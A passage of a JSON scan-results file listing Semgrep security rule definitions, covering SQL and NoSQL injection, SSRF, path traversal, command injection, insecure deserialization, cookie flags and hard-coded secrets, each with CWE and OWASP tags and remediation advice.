$sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","id":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","name":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django","id":"python.django.file.tainted-shelve-django.tainted-shelve-django","name":"python.django.file.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask","id":"python.flask.db.ponyorm-flask.ponyorm-flask","name":"python.flask.db.ponyorm-flask.ponyorm-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.ponyorm-flask.ponyorm-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django","id":"python.django.db.sqlobject-django.sqlobject-django","name":"python.django.db.sqlobject-django.sqlobject-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-django.sqlobject-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","id":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","name":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","id":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","name":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","id":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","name":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","id":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","name":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.vertx-sqli.vertx-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","id":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","name":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"help":{"markdown":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex)\n - [https://pkg.go.dev/sync#RWMutex](https://pkg.go.dev/sync#RWMutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","id":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","name":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"help":{"markdown":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `expires` not set. Use it to set expiration date for persistent cookies."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","id":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","name":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://golang.org/doc/database/sql-injection](https://golang.org/doc/database/sql-injection)\n - [https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/](https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://node-postgres.com/features/queries](https://node-postgres.com/features/queries)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.pg-sqli.pg-sqli","id":"javascript.aws-lambda.security.pg-sqli.pg-sqli","name":"javascript.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","id":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","name":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 